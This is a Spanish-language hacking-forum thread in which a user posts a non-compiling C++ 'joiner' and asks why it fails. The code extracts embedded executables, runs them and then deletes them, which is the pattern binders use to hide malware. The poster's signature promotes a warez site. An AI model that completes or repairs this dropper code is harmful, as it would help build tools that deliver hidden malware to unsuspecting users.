Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 12:36:24
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Error con mi mi primer programa "enserio" 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Error con mi mi primer programa "enserio"  (Leído 227 veces)
Saok
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 2823


Saok siempre esta ahi...


Ver Perfil WWW
« en: ſeptiembre 10, 2006, 05:47:21 »

hola

bueno,veamos,despues de pasarme el tiempo leeyendo me decidi a intentar hacer un joiner en C++ me puse a leer y "cree" un intento de joiner,pero me da error,ni siquiera compila,y no logro sacar cual es el error.Estoy usando el DEV-C++.

El joiner se compone de 3 archivos aqui los dejo:

Joiner.cpp

Citar
#include <stdio.h>
#include <windows.h>
#include <iostream.h>

int main()
{
    char *ruta = "C:\\TEMP";         
    cout << " Introduce el primer archivo con su rura \n "
    cin >> ruta2
    cout << " introduce el segundo archivo con su ruta \n"
    cin >> ruta3
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HRSRC recurso;
    HGLOBAL handle;
    HANDLE archivo;
    UINT buffer;
    DWORD bytes;
    CreateDirectory(ruta, NULL);      
    recurso = FindResource(NULL, "#1", "Joiner");   //b
    handle = LoadResource(NULL, recurso);
    buffer = SetHandleCount((UINT)handle);   
    bytes = SizeofResource(NULL, recurso);   
    archivo = CreateFile(ruta2, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);       
    WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
    CloseHandle(archivo);         
    recurso = FindResource(NULL, "#2", "Joiner");
    handle = LoadResource(NULL, recurso);
    buffer = SetHandleCount((UINT)handle);
    bytes = SizeofResource(NULL, recurso);
    archivo = CreateFile(ruta3, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);   
    WriteFile(archivo, (LPCVOID)buffer, bytes, &bytes, NULL);
    CloseHandle(archivo);
    si.cb = sizeof(si);            
    si.dwFlags = STARTF_USESTDHANDLES;
    si.lpReserved  = NULL;
    si.cbReserved2 = 0;
    si.lpReserved2 = NULL;
    CreateProcess(NULL,ruta2,NULL,NULL,true,0,NULL,NULL,&si,&pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    DeleteFile(ruta2);                 
    CreateProcess(NULL,ruta3,NULL,NULL,true,0,NULL,NULL,&si,&pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    DeleteFile(ruta3);
    RemoveDirectory(ruta);   
    ExitProcess(0); 
   return 1;
}


Joiner_private.h

Citar


#ifndef JOINER_PRIVATE_H
#define JOINER_PRIVATE_H

/* VERSION DEFINITIONS */
#define VER_STRING   "0.1.0.1"
#define VER_MAJOR   0
#define VER_MINOR   1
#define VER_RELEASE   0
#define VER_BUILD   1
#define COMPANY_NAME   ""
#define FILE_VERSION   ""
#define FILE_DESCRIPTION   "Joiner By SaOk"
#define INTERNAL_NAME   ""
#define LEGAL_COPYRIGHT   ""
#define LEGAL_TRADEMARKS   ""
#define ORIGINAL_FILENAME   ""
#define PRODUCT_NAME   ""
#define PRODUCT_VERSION   ""

#endif /*JOINER_PRIVATE_H*/


Joiner_private.rc

Citar
#include <windows.h>

#include "Joiner_private.rc"

A ICON MOVEABLE PURE LOADONCALL DISCARDABLE "Joiner.ico"



Bueno aver si alguien me puede explicar que estoy aciendo mal  :-\

saludos[sh]
« Última modificación: ſeptiembre 10, 2006, 05:47:45 por Saok » En línea

www.colgados.net  date una pasadita por esta web de warez !
Kira & Eva :D
Habitual
*****
Desconectado Desconectado

Mensajes: 288


Senior Programmer


Ver Perfil Email
« Respuesta #1 en: ſeptiembre 10, 2006, 05:29:08 »

En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Error con mi mi primer programa "enserio" « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC